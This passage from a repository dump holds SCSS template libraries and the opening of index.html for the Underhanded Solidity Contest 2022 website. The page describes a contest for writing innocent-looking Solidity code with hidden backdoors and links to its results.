{\n\t\t\t\t\t\t\t\t\t\t$media: 'screen and (min-width: ' + ($y + 1) + ')';\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// Less than (< x)\n\t\t\t\t\t\t\t\t\t@elseif ($op == 'lt') {\n\t\t\t\t\t\t\t\t\t\t$media: 'screen and (max-width: ' + ($x - 1) + ')';\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// Not (< x and > y)\n\t\t\t\t\t\t\t\t\t@elseif ($op == 'not') {\n\t\t\t\t\t\t\t\t\t\t$media: 'screen and (max-width: ' + ($x - 1) + '), screen and (min-width: ' + ($y + 1) + ')';\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// Equal (>= x and <= y)\n\t\t\t\t\t\t\t\t\t@else {\n\t\t\t\t\t\t\t\t\t\t$media: 'screen and (min-width: ' + $x + ') and (max-width: ' + $y + ')';\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\n\t\t\t\t// String.\n\t\t\t\t\t@else {\n\n\t\t\t\t\t\t// Missing a media type? Prefix with \"screen\".\n\t\t\t\t\t\t\t@if (str-slice($a, 0, 1) == '(') {\n\t\t\t\t\t\t\t\t$media: 'screen and ' + $a;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// Otherwise, use as-is.\n\t\t\t\t\t\t\t@else {\n\t\t\t\t\t\t\t\t$media: $a;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\n\t\t\t}\n\n\t\t// Output.\n\t        @media #{$media} {\n\t\t\t\t@content;\n\t\t\t}\n\n\t}"
  },
  {
    "path": "2022/assets/sass/libs/_functions.scss",
    "content": "/// Removes a specific item from a list.\r\n/// @author Hugo Giraudel\r\n/// @param {list} $list List.\r\n/// @param {integer} $index Index.\r\n/// @return {list} Updated list.\r\n@function remove-nth($list, $index) {\r\n\r\n\t$result: null;\r\n\r\n\t@if type-of($index) != number {\r\n\t\t@warn \"$index: #{quote($index)} is not a number for `remove-nth`.\";\r\n\t}\r\n\t@else if $index == 0 {\r\n\t\t@warn \"List index 0 must be a non-zero integer for `remove-nth`.\";\r\n\t}\r\n\t@else if abs($index) > length($list) {\r\n\t\t@warn \"List index is #{$index} but list is only #{length($list)} item long for `remove-nth`.\";\r\n\t}\r\n\t@else {\r\n\r\n\t\t$result: ();\r\n\t\t$index: if($index < 0, length($list) + $index + 1, $index);\r\n\r\n\t\t@for $i from 1 through length($list) {\r\n\r\n\t\t\t@if $i != $index {\r\n\t\t\t\t$result: append($result, nth($list, $i));\r\n\t\t\t}\r\n\r\n\t\t}\r\n\r\n\t}\r\n\r\n\t@return $result;\r\n\r\n}\r\n\r\n/// Gets a value from a map.\r\n/// @author Hugo Giraudel\r\n/// @param {map} $map Map.\r\n/// @param {string} $keys Key(s).\r\n/// @return {string} Value.\r\n@function val($map, $keys...) {\r\n\r\n\t@if nth($keys, 1) == null {\r\n\t\t$keys: remove-nth($keys, 1);\r\n\t}\r\n\r\n\t@each $key in $keys {\r\n\t\t$map: map-get($map, $key);\r\n\t}\r\n\r\n\t@return $map;\r\n\r\n}\r\n\r\n/// Gets a duration value.\r\n/// @param {string} $keys Key(s).\r\n/// @return {string} Value.\r\n@function _duration($keys...) {\r\n\t@return val($duration, $keys...);\r\n}\r\n\r\n/// Gets a font value.\r\n/// @param {string} $keys Key(s).\r\n/// @return {string} Value.\r\n@function _font($keys...) {\r\n\t@return val($font, $keys...);\r\n}\r\n\r\n/// Gets a misc value.\r\n/// @param {string} $keys Key(s).\r\n/// @return {string} Value.\r\n@function _misc($keys...) {\r\n\t@return val($misc, $keys...);\r\n}\r\n\r\n/// Gets a palette value.\r\n/// @param {string} $keys Key(s).\r\n/// @return {string} Value.\r\n@function _palette($keys...) {\r\n\t@return val($palette, $keys...);\r\n}\r\n\r\n/// Gets a size value.\r\n/// @param {string} $keys Key(s).\r\n/// @return {string} Value.\r\n@function _size($keys...) {\r\n\t@return val($size, $keys...);\r\n}"
  },
  {
    "path": "2022/assets/sass/libs/_html-grid.scss",
    "content": "// html-grid.scss v1.0 | @ajlkn | MIT licensed */\r\n\r\n// Mixins.\r\n\r\n\t/// Initializes the current element as an HTML grid.\r\n\t/// @param {mixed} $gutters Gutters (either a single number to set both column/row gutters, or a list to set them individually).\r\n\t/// @param {mixed} $suffix Column class suffix (optional; either a single suffix or a list).\r\n\t@mixin html-grid($gutters: 1.5em, $suffix: '') {\r\n\r\n\t\t// Initialize.\r\n\t\t\t$cols: 12;\r\n\t\t\t$multipliers: 0, 0.25, 0.5, 1, 1.50, 2.00;\r\n\t\t\t$unit: 100% / $cols;\r\n\r\n\t\t\t// Suffixes.\r\n\t\t\t\t$suffixes: null;\r\n\r\n\t\t\t\t@if (type-of($suffix) == 'list') {\r\n\t\t\t\t\t$suffixes: $suffix;\r\n\t\t\t\t}\r\n\t\t\t\t@else {\r\n\t\t\t\t\t$suffixes: ($suffix);\r\n\t\t\t\t}\r\n\r\n\t\t\t// Gutters.\r\n\t\t\t\t$guttersCols: null;\r\n\t\t\t\t$guttersRows: null;\r\n\r\n\t\t\t\t@if (type-of($gutters) == 'list') {\r\n\r\n\t\t\t\t\t$guttersCols: nth($gutters, 1);\r\n\t\t\t\t\t$guttersRows: nth($gutters, 2);\r\n\r\n\t\t\t\t}\r\n\t\t\t\t@else {\r\n\r\n\t\t\t\t\t$guttersCols: $gutters;\r\n\t\t\t\t\t$guttersRows: 0;\r\n\r\n\t\t\t\t}\r\n\r\n\t\t// Row.\r\n\t\t\tdisplay: flex;\r\n\t\t\tflex-wrap: wrap;\r\n\t\t\tbox-sizing: border-box;\r\n\t\t\talign-items: stretch;\r\n\r\n\t\t\t// Columns.\r\n\t\t\t\t> * {\r\n\t\t\t\t\tbox-sizing: border-box;\r\n\t\t\t\t}\r\n\r\n\t\t\t// Gutters.\r\n\t\t\t\t&.gtr-uniform {\r\n\t\t\t\t\t> * {\r\n\t\t\t\t\t\t> :last-child {\r\n\t\t\t\t\t\t\tmargin-bottom: 0;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\r\n\t\t\t// Alignment.\r\n\t\t\t\t&.aln-left {\r\n\t\t\t\t\tjustify-content: flex-start;\r\n\t\t\t\t}\r\n\r\n\t\t\t\t&.aln-center {\r\n\t\t\t\t\tjustify-content: center;\r\n\t\t\t\t}\r\n\r\n\t\t\t\t&.aln-right {\r\n\t\t\t\t\tjustify-content: flex-end;\r\n\t\t\t\t}\r\n\r\n\t\t\t\t&.aln-top {\r\n\t\t\t\t\talign-items: flex-start;\r\n\t\t\t\t}\r\n\r\n\t\t\t\t&.aln-middle {\r\n\t\t\t\t\talign-items: center;\r\n\t\t\t\t}\r\n\r\n\t\t\t\t&.aln-bottom {\r\n\t\t\t\t\talign-items: flex-end;\r\n\t\t\t\t}\r\n\r\n\t\t// Step through suffixes.\r\n\t\t\t@each $suffix in $suffixes {\r\n\r\n\t\t\t\t// Suffix.\r\n\t\t\t\t\t@if ($suffix != '') {\r\n\t\t\t\t\t\t$suffix: '-' + $suffix;\r\n\t\t\t\t\t}\r\n\t\t\t\t\t@else {\r\n\t\t\t\t\t\t$suffix: '';\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t// Row.\r\n\r\n\t\t\t\t\t// Important.\r\n\t\t\t\t\t\t> .imp#{$suffix} {\r\n\t\t\t\t\t\t\torder: -1;\r\n\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t// Columns, offsets.\r\n\t\t\t\t\t\t@for $i from 1 through $cols {\r\n\t\t\t\t\t\t\t> .col-#{$i}#{$suffix} {\r\n\t\t\t\t\t\t\t\twidth: $unit * $i;\r\n\t\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t\t> .off-#{$i}#{$suffix} {\r\n\t\t\t\t\t\t\t\tmargin-left: $unit * $i;\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t// Step through multipliers.\r\n\t\t\t\t\t\t@each $multiplier in $multipliers {\r\n\r\n\t\t\t\t\t\t\t// Gutters.\r\n\t\t\t\t\t\t\t\t$class: null;\r\n\r\n\t\t\t\t\t\t\t\t@if ($multiplier != 1) {\r\n\t\t\t\t\t\t\t\t\t$class: '.gtr-' + ($multiplier * 100);\r\n\t\t\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t\t\t&#{$class} {\r\n\t\t\t\t\t\t\t\t\tmargin-top: ($guttersRows * $multiplier * -1);\r\n\t\t\t\t\t\t\t\t\tmargin-left: ($guttersCols * $multiplier * -1);\r\n\r\n\t\t\t\t\t\t\t\t\t> * {\r\n\t\t\t\t\t\t\t\t\t\tpadding: ($guttersRows * $multiplier) 0 0 ($guttersCols * $multiplier);\r\n\t\t\t\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t\t\t\t// Uniform.\r\n\t\t\t\t\t\t\t\t\t\t&.gtr-uniform {\r\n\t\t\t\t\t\t\t\t\t\t\tmargin-top: $guttersCols * $multiplier * -1;\r\n\r\n\t\t\t\t\t\t\t\t\t\t\t> * {\r\n\t\t\t\t\t\t\t\t\t\t\t\tpadding-top: $guttersCols * $multiplier;\r\n\t\t\t\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t}\r\n\r\n\t\t\t}\r\n\r\n\t}"
  },
  {
    "path": "2022/assets/sass/libs/_mixins.scss",
    "content": "/// Makes an element's :before pseudoelement a FontAwesome icon.\r\n/// @param {string} $content Optional content value to use.\r\n/// @param {string} $category Optional category to use.\r\n/// @param {string} $where Optional pseudoelement to target (before or after).\r\n@mixin icon($content: false, $category: regular, $where: before) {\r\n\r\n\ttext-decoration: none;\r\n\r\n\t&:#{$where} {\r\n\r\n\t\t@if $content {\r\n\t\t\tcontent: $content;\r\n\t\t}\r\n\r\n\t\t-moz-osx-font-smoothing: grayscale;\r\n\t\t-webkit-font-smoothing: antialiased;\r\n\t\tdisplay: inline-block;\r\n\t\tfont-style: normal;\r\n\t\tfont-variant: normal;\r\n\t\ttext-rendering: auto;\r\n\t\tline-height: 1;\r\n\t\ttext-transform: none !important;\r\n\r\n\t\t@if ($category == brands) {\r\n\t\t\tfont-family: 'Font Awesome 5 Brands';\r\n\t\t}\r\n\t\t@elseif ($category == solid) {\r\n\t\t\tfont-family: 'Font Awesome 5 Free';\r\n\t\t\tfont-weight: 900;\r\n\t\t}\r\n\t\t@else {\r\n\t\t\tfont-family: 'Font Awesome 5 Free';\r\n\t\t\tfont-weight: 400;\r\n\t\t}\r\n\r\n\t}\r\n\r\n}\r\n\r\n/// Applies padding to an element, taking the current element-margin value into account.\r\n/// @param {mixed} $tb Top/bottom padding.\r\n/// @param {mixed} $lr Left/right padding.\r\n/// @param {list} $pad Optional extra padding (in the following order top, right, bottom, left)\r\n/// @param {bool} $important If true, adds !important.\r\n@mixin padding($tb, $lr, $pad: (0,0,0,0), $important: null) {\r\n\r\n\t@if $important {\r\n\t\t$important: '!important';\r\n\t}\r\n\r\n\t$x: 0.1em;\r\n\r\n\t@if unit(_size(element-margin)) == 'rem' {\r\n\t\t$x: 0.1rem;\r\n\t}\r\n\r\n\tpadding: ($tb + nth($pad,1)) ($lr + nth($pad,2)) max($x, $tb - _size(element-margin) + nth($pad,3)) ($lr + nth($pad,4)) #{$important};\r\n\r\n}\r\n\r\n/// Encodes a SVG data URL so IE doesn't choke (via codepen.io/jakob-e/pen/YXXBrp).\r\n/// @param {string} $svg SVG data URL.\r\n/// @return {string} Encoded SVG data URL.\r\n@function svg-url($svg) {\r\n\r\n\t$svg: str-replace($svg, '\"', '\\'');\r\n\t$svg: str-replace($svg, '%', '%25');\r\n\t$svg: str-replace($svg, '<', '%3C');\r\n\t$svg: str-replace($svg, '>', '%3E');\r\n\t$svg: str-replace($svg, '&', '%26');\r\n\t$svg: str-replace($svg, '#', '%23');\r\n\t$svg: str-replace($svg, '{', '%7B');\r\n\t$svg: str-replace($svg, '}', '%7D');\r\n\t$svg: str-replace($svg, ';', '%3B');\r\n\r\n\t@return url(\"data:image/svg+xml;charset=utf8,#{$svg}\");\r\n\r\n}"
  },
  {
    "path": "2022/assets/sass/libs/_vars.scss",
    "content": "// Misc.\r\n\t$misc: (\r\n\t\tz-index-base:\t\t10000,\r\n\t\tmax-features:\t\t20,\r\n\t\tmax-sidebar-links:\t20\r\n\t);\r\n\r\n// Duration.\r\n\t$duration: (\r\n\t\ttransition:\t\t\t0.2s,\r\n\t\tactivation:\t\t\t1s\r\n\t);\r\n\r\n// Size.\r\n\t$size: (\r\n\t\tborder-radius:\t\t0.25em,\r\n\t\tborder-width:\t\t1px,\r\n\t\telement-height:\t\t2.75em,\r\n\t\telement-margin:\t\t2em,\r\n\t\tsidebar-width:\t\t18em,\r\n\t\tsidebar-height:\t\t3.5em,\t// when <=large is active\r\n\t\tinner-width:\t\t75em\r\n\t);\r\n\r\n// Font.\r\n\t$font: (\r\n\t\tfamily:\t\t\t\t(Arial, Helvetica, sans-serif),\r\n\t\tfamily-fixed:\t\t('Courier New', monospace),\r\n\t\tweight:\t\t\t\tnormal,\r\n\t\tweight-bold:\t\tbold,\r\n\t\tkerning-alt:\t\t0.25em\r\n\t);\r\n\r\n// Palette.\r\n\t$palette: (\r\n\t\tbg:\t\t\t\t\t#312450,\r\n\t\tbg-alt:\t\t\t\tdarken(#312450, 5),\r\n\t\tfg:\t\t\t\t\trgba(255,255,255,0.55),\r\n\t\tfg-bold:\t\t\t#ffffff,\r\n\t\tfg-light:\t\t\trgba(255,255,255,0.35),\r\n\t\tborder:\t\t\t\trgba(255,255,255,0.15),\r\n\t\tborder-bg:\t\t\trgba(255,255,255,0.05),\r\n\t\taccent1:\t\t\t#5e42a6,\r\n\t\taccent1-alt:\t\tdarken(#5e42a6, 10),\r\n\t\taccent2:\t\t\t#5052b5,\r\n\t\taccent2-alt:\t\tdarken(#5052b5, 10),\r\n\t\taccent3:\t\t\t#b74e91,\r\n\t\taccent3-alt:\t\tdarken(#b74e91, 10)\r\n\t);"
  },
  {
    "path": "2022/assets/sass/libs/_vendor.scss",
    "content": "// vendor.scss v1.0 | @ajlkn | MIT licensed */\n\n// Vars.\n\n\t/// Vendor prefixes.\n\t/// @var {list}\n\t$vendor-prefixes: (\n\t\t'-moz-',\n\t\t'-webkit-',\n\t\t'-ms-',\n\t\t''\n\t);\n\n\t/// Properties that should be vendorized.\n\t/// Data via caniuse.com, github.com/postcss/autoprefixer, and developer.mozilla.org\n\t/// @var {list}\n\t$vendor-properties: (\n\n\t\t// Animation.\n\t\t\t'animation',\n\t\t\t'animation-delay',\n\t\t\t'animation-direction',\n\t\t\t'animation-duration',\n\t\t\t'animation-fill-mode',\n\t\t\t'animation-iteration-count',\n\t\t\t'animation-name',\n\t\t\t'animation-play-state',\n\t\t\t'animation-timing-function',\n\n\t\t// Appearance.\n\t\t\t'appearance',\n\n\t\t// Backdrop filter.\n\t\t\t'backdrop-filter',\n\n\t\t// Background image options.\n\t\t\t'background-clip',\n\t\t\t'background-origin',\n\t\t\t'background-size',\n\n\t\t// Box sizing.\n\t\t\t'box-sizing',\n\n\t\t// Clip path.\n\t\t\t'clip-path',\n\n\t\t// Filter effects.\n\t\t\t'filter',\n\n\t\t// Flexbox.\n\t\t\t'align-content',\n\t\t\t'align-items',\n\t\t\t'align-self',\n\t\t\t'flex',\n\t\t\t'flex-basis',\n\t\t\t'flex-direction',\n\t\t\t'flex-flow',\n\t\t\t'flex-grow',\n\t\t\t'flex-shrink',\n\t\t\t'flex-wrap',\n\t\t\t'justify-content',\n\t\t\t'order',\n\n\t\t// Font feature.\n\t\t\t'font-feature-settings',\n\t\t\t'font-language-override',\n\t\t\t'font-variant-ligatures',\n\n\t\t// Font kerning.\n\t\t\t'font-kerning',\n\n\t\t// Fragmented borders and backgrounds.\n\t\t\t'box-decoration-break',\n\n\t\t// Grid layout.\n\t\t\t'grid-column',\n\t\t\t'grid-column-align',\n\t\t\t'grid-column-end',\n\t\t\t'grid-column-start',\n\t\t\t'grid-row',\n\t\t\t'grid-row-align',\n\t\t\t'grid-row-end',\n\t\t\t'grid-row-start',\n\t\t\t'grid-template-columns',\n\t\t\t'grid-template-rows',\n\n\t\t// Hyphens.\n\t\t\t'hyphens',\n\t\t\t'word-break',\n\n\t\t// Masks.\n\t\t\t'mask',\n\t\t\t'mask-border',\n\t\t\t'mask-border-outset',\n\t\t\t'mask-border-repeat',\n\t\t\t'mask-border-slice',\n\t\t\t'mask-border-source',\n\t\t\t'mask-border-width',\n\t\t\t'mask-clip',\n\t\t\t'mask-composite',\n\t\t\t'mask-image',\n\t\t\t'mask-origin',\n\t\t\t'mask-position',\n\t\t\t'mask-repeat',\n\t\t\t'mask-size',\n\n\t\t// Multicolumn.\n\t\t\t'break-after',\n\t\t\t'break-before',\n\t\t\t'break-inside',\n\t\t\t'column-count',\n\t\t\t'column-fill',\n\t\t\t'column-gap',\n\t\t\t'column-rule',\n\t\t\t'column-rule-color',\n\t\t\t'column-rule-style',\n\t\t\t'column-rule-width',\n\t\t\t'column-span',\n\t\t\t'column-width',\n\t\t\t'columns',\n\n\t\t// Object fit.\n\t\t\t'object-fit',\n\t\t\t'object-position',\n\n\t\t// Regions.\n\t\t\t'flow-from',\n\t\t\t'flow-into',\n\t\t\t'region-fragment',\n\n\t\t// Scroll snap points.\n\t\t\t'scroll-snap-coordinate',\n\t\t\t'scroll-snap-destination',\n\t\t\t'scroll-snap-points-x',\n\t\t\t'scroll-snap-points-y',\n\t\t\t'scroll-snap-type',\n\n\t\t// Shapes.\n\t\t\t'shape-image-threshold',\n\t\t\t'shape-margin',\n\t\t\t'shape-outside',\n\n\t\t// Tab size.\n\t\t\t'tab-size',\n\n\t\t// Text align last.\n\t\t\t'text-align-last',\n\n\t\t// Text decoration.\n\t\t\t'text-decoration-color',\n\t\t\t'text-decoration-line',\n\t\t\t'text-decoration-skip',\n\t\t\t'text-decoration-style',\n\n\t\t// Text emphasis.\n\t\t\t'text-emphasis',\n\t\t\t'text-emphasis-color',\n\t\t\t'text-emphasis-position',\n\t\t\t'text-emphasis-style',\n\n\t\t// Text size adjust.\n\t\t\t'text-size-adjust',\n\n\t\t// Text spacing.\n\t\t\t'text-spacing',\n\n\t\t// Transform.\n\t\t\t'transform',\n\t\t\t'transform-origin',\n\n\t\t// Transform 3D.\n\t\t\t'backface-visibility',\n\t\t\t'perspective',\n\t\t\t'perspective-origin',\n\t\t\t'transform-style',\n\n\t\t// Transition.\n\t\t\t'transition',\n\t\t\t'transition-delay',\n\t\t\t'transition-duration',\n\t\t\t'transition-property',\n\t\t\t'transition-timing-function',\n\n\t\t// Unicode bidi.\n\t\t\t'unicode-bidi',\n\n\t\t// User select.\n\t\t\t'user-select',\n\n\t\t// Writing mode.\n\t\t\t'writing-mode',\n\n\t);\n\n\t/// Values that should be vendorized.\n\t/// Data via caniuse.com, github.com/postcss/autoprefixer, and developer.mozilla.org\n\t/// @var {list}\n\t$vendor-values: (\n\n\t\t// Cross fade.\n\t\t\t'cross-fade',\n\n\t\t// Element function.\n\t\t\t'element',\n\n\t\t// Filter function.\n\t\t\t'filter',\n\n\t\t// Flexbox.\n\t\t\t'flex',\n\t\t\t'inline-flex',\n\n\t\t// Grab cursors.\n\t\t\t'grab',\n\t\t\t'grabbing',\n\n\t\t// Gradients.\n\t\t\t'linear-gradient',\n\t\t\t'repeating-linear-gradient',\n\t\t\t'radial-gradient',\n\t\t\t'repeating-radial-gradient',\n\n\t\t// Grid layout.\n\t\t\t'grid',\n\t\t\t'inline-grid',\n\n\t\t// Image set.\n\t\t\t'image-set',\n\n\t\t// Intrinsic width.\n\t\t\t'max-content',\n\t\t\t'min-content',\n\t\t\t'fit-content',\n\t\t\t'fill',\n\t\t\t'fill-available',\n\t\t\t'stretch',\n\n\t\t// Sticky position.\n\t\t\t'sticky',\n\n\t\t// Transform.\n\t\t\t'transform',\n\n\t\t// Zoom cursors.\n\t\t\t'zoom-in',\n\t\t\t'zoom-out',\n\n\t);\n\n// Functions.\n\n\t/// Removes a specific item from a list.\n\t/// @author Hugo Giraudel\n\t/// @param {list} $list List.\n\t/// @param {integer} $index Index.\n\t/// @return {list} Updated list.\n\t@function remove-nth($list, $index) {\n\n\t\t$result: null;\n\n\t\t@if type-of($index) != number {\n\t\t\t@warn \"$index: #{quote($index)} is not a number for `remove-nth`.\";\n\t\t}\n\t\t@else if $index == 0 {\n\t\t\t@warn \"List index 0 must be a non-zero integer for `remove-nth`.\";\n\t\t}\n\t\t@else if abs($index) > length($list) {\n\t\t\t@warn \"List index is #{$index} but list is only #{length($list)} item long for `remove-nth`.\";\n\t\t}\n\t\t@else {\n\n\t\t\t$result: ();\n\t\t\t$index: if($index < 0, length($list) + $index + 1, $index);\n\n\t\t\t@for $i from 1 through length($list) {\n\n\t\t\t\t@if $i != $index {\n\t\t\t\t\t$result: append($result, nth($list, $i));\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t}\n\n\t\t@return $result;\n\n\t}\n\n\t/// Replaces a substring within another string.\n\t/// @author Hugo Giraudel\n\t/// @param {string} $string String.\n\t/// @param {string} $search Substring.\n\t/// @param {string} $replace Replacement.\n\t/// @return {string} Updated string.\n\t@function str-replace($string, $search, $replace: '') {\n\n\t\t$index: str-index($string, $search);\n\n\t\t@if $index {\n\t\t\t@return str-slice($string, 1, $index - 1) + $replace + str-replace(str-slice($string, $index + str-length($search)), $search, $replace);\n\t\t}\n\n\t\t@return $string;\n\n\t}\n\n\t/// Replaces a substring within each string in a list.\n\t/// @param {list} $strings List of strings.\n\t/// @param {string} $search Substring.\n\t/// @param {string} $replace Replacement.\n\t/// @return {list} Updated list of strings.\n\t@function str-replace-all($strings, $search, $replace: '') {\n\n\t\t@each $string in $strings {\n\t\t\t$strings: set-nth($strings, index($strings, $string), str-replace($string, $search, $replace));\n\t\t}\n\n\t\t@return $strings;\n\n\t}\n\n// Mixins.\n\n\t/// Wraps @content in vendorized keyframe blocks.\n\t/// @param {string} $name Name.\n\t@mixin keyframes($name) {\n\n\t\t@-moz-keyframes #{$name} { @content; }\n\t\t@-webkit-keyframes #{$name} { @content; }\n\t\t@-ms-keyframes #{$name} { @content; }\n\t\t@keyframes #{$name} { @content; }\n\n\t}\n\n\t/// Vendorizes a declaration's property and/or value(s).\n\t/// @param {string} $property Property.\n\t/// @param {mixed} $value String/list of value(s).\n\t@mixin vendor($property, $value) {\n\n\t\t// Determine if property should expand.\n\t\t\t$expandProperty: index($vendor-properties, $property);\n\n\t\t// Determine if value should expand (and if so, add '-prefix-' placeholder).\n\t\t\t$expandValue: false;\n\n\t\t\t@each $x in $value {\n\t\t\t\t@each $y in $vendor-values {\n\t\t\t\t\t@if $y == str-slice($x, 1, str-length($y)) {\n\n\t\t\t\t\t\t$value: set-nth($value, index($value, $x), '-prefix-' + $x);\n\t\t\t\t\t\t$expandValue: true;\n\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t// Expand property?\n\t\t\t@if $expandProperty {\n\t\t\t    @each $vendor in $vendor-prefixes {\n\t\t\t        #{$vendor}#{$property}: #{str-replace-all($value, '-prefix-', $vendor)};\n\t\t\t    }\n\t\t\t}\n\n\t\t// Expand just the value?\n\t\t\t@elseif $expandValue {\n\t\t\t    @each $vendor in $vendor-prefixes {\n\t\t\t        #{$property}: #{str-replace-all($value, '-prefix-', $vendor)};\n\t\t\t    }\n\t\t\t}\n\n\t\t// Neither? Treat them as a normal declaration.\n\t\t\t@else {\n\t\t        #{$property}: #{$value};\n\t\t\t}\n\n\t}"
  },
  {
    "path": "2022/assets/sass/main.scss",
    "content": "@import 'libs/vars';\r\n@import 'libs/functions';\r\n@import 'libs/mixins';\r\n@import 'libs/vendor';\r\n@import 'libs/breakpoints';\r\n@import 'libs/html-grid';\r\n@import 'fontawesome-all.min.css';\r\n\r\n/*\r\n\tHyperspace by HTML5 UP\r\n\thtml5up.net | @ajlkn\r\n\tFree for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n*/\r\n\r\n// Breakpoints.\r\n\r\n\t@include breakpoints((\r\n\t\txlarge:   ( 1281px,  1680px ),\r\n\t\tlarge:    ( 981px,   1280px ),\r\n\t\tmedium:   ( 737px,   980px  ),\r\n\t\tsmall:    ( 481px,   736px  ),\r\n\t\txsmall:   ( 361px,   480px  ),\r\n\t\txxsmall:  ( null,    360px  )\r\n\t));\r\n\r\n// Base.\r\n\r\n\t@import 'base/reset';\r\n\t@import 'base/page';\r\n\t@import 'base/typography';\r\n\r\n// Component.\r\n\r\n\t@import 'components/row';\r\n\t@import 'components/box';\r\n\t@import 'components/button';\r\n\t@import 'components/features';\r\n\t@import 'components/form';\r\n\t@import 'components/icon';\r\n\t@import 'components/image';\r\n\t@import 'components/list';\r\n\t@import 'components/actions';\r\n\t@import 'components/contact';\r\n\t@import 'components/icons';\r\n\t@import 'components/menu';\r\n\t@import 'components/section';\r\n\t@import 'components/split';\r\n\t@import 'components/spotlights';\r\n\t@import 'components/table';\r\n\t@import 'components/wrapper';\r\n\r\n// Layout.\r\n\r\n\t@import 'layout/header';\r\n\t@import 'layout/wrapper';\r\n\t@import 'layout/footer';\r\n\t@import 'layout/sidebar';\r\n\t@import 'layout/intro';\r\n"
  },
  {
    "path": "2022/assets/sass/noscript.scss",
    "content": "@import 'libs/vars';\r\n@import 'libs/functions';\r\n@import 'libs/mixins';\r\n@import 'libs/vendor';\r\n@import 'libs/breakpoints';\r\n@import 'libs/html-grid';\r\n\r\n/*\r\n\tHyperspace by HTML5 UP\r\n\thtml5up.net | @ajlkn\r\n\tFree for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n*/\r\n\r\n/* Spotlights */\r\n\r\n\t.spotlights {\r\n\t\t> section {\r\n\t\t\t> .image {\r\n\t\t\t\t&:before {\r\n\t\t\t\t\topacity: 0 !important;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\t> .content {\r\n\t\t\t\t> .inner {\r\n\t\t\t\t\t@include vendor('transform', 'none !important');\r\n\t\t\t\t\topacity: 1 !important;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n/* Wrapper */\r\n\r\n\t.wrapper {\r\n\t\t> .inner {\r\n\t\t\topacity: 1 !important;\r\n\t\t\t@include vendor('transform', 'none !important');\r\n\t\t}\r\n\t}\r\n\r\n/* Sidebar */\r\n\r\n\t#sidebar {\r\n\t\t> .inner {\r\n\t\t\topacity: 1 !important;\r\n\t\t}\r\n\r\n\t\tnav {\r\n\t\t\t> ul {\r\n\t\t\t\t> li {\r\n\t\t\t\t\t@include vendor('transform', 'none !important');\r\n\t\t\t\t\topacity: 1 !important;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}"
  },
  {
    "path": "2022/index.html",
    "content": "<!DOCTYPE HTML>\n<!--\n\tHyperspace by HTML5 UP\n\thtml5up.net | @ajlkn\n\tFree for personal and commercial use under the CCA 3.0 license (html5up.net/license)\n-->\n<html>\n\t<head>\n\t\t<title>Underhanded Solidity Contest</title>\n\t\t<meta charset=\"utf-8\" />\n\t\t<meta name=\"viewport\" content=\"width=device-width, initial-scale=1, user-scalable=no\" />\n\t\t<link href=\"https://fonts.googleapis.com/css2?family=Fira+Code:wght@300&display=swap\" rel=\"stylesheet\">\n\t\t<link rel=\"icon\" href=\"favicon.ico\"> \n\t\t<link rel=\"stylesheet\" href=\"assets/css/main.css\" />\n\t\t<noscript><link rel=\"stylesheet\" href=\"assets/css/noscript.css\" /></noscript>\n\t</head>\n\t<body class=\"is-preload\">\n\n\t\t<!-- Sidebar -->\n\t\t\t<section id=\"sidebar\">\n\t\t\t\t<div class=\"inner\">\n\t\t\t\t\t<nav>\n\t\t\t\t\t\t<ul>\n\t\t\t\t\t\t\t<li><a href=\"#intro\">Welcome</a></li>\n\t\t\t\t\t\t\t<li><a href=\"#contest-info\">Contest Info</a></li>\n\t\t\t\t\t\t\t<li><a href=\"#coding-brief\">Coding Brief</a></li>\n\t\t\t\t\t\t\t<li><a href=\"#participation\">Submission & Participation</a></li>\n\t\t\t\t\t\t\t<li><a href=\"#board-of-fame\">Board of Fame</a></li>\n\t\t\t\t\t\t\t<li><a href=\"#contact\">Get In Touch</a></li>\n\t\t\t\t\t\t</ul>\n\t\t\t\t\t</nav>\n\t\t\t\t</div>\n\t\t\t</section>\n\n\t\t<!-- Wrapper -->\n\t\t\t<div id=\"wrapper\">\n\n\t\t\t\t<!-- Intro -->\n\t\t\t\t\t<section id=\"intro\" class=\"wrapper style1 fullscreen fade-up\">\n\t\t\t\t\t\t<div class=\"inner\">\n\t\t\t\t\t\t\t<h1>Underhanded Solidity Contest 2022</h1>\n\t\t\t\t\t\t\t<h3>The Underhanded Solidity Contest 2022 is over!<br><br>\n\t\t\t\t\t\t\tRead about the winning submissions in the <a href=\"https://blog.soliditylang.org/2022/04/08/announcing-the-underhanded-contest-winners-2022/\">winner announcement</a> or check out all submissions in <a href=\"https://github.com/ethereum/solidity-underhanded-contest/tree/master/2022/submissions_2022\">this repo</a>.<br><br>\n\t\t\t\t\t\t\tThe goal of the Underhanded Solidity Contest is to write seemingly innocent and straightforward-looking Solidity code which actually contains malicious behavior or backdoors.<br><br></h3>\n\t\t\t\t\t\t\t<ul class=\"actions\">\n\t\t\t\t\t\t\t\t<li><a href=\"#contest-info\" class=\"button scrolly\">2022 Contest 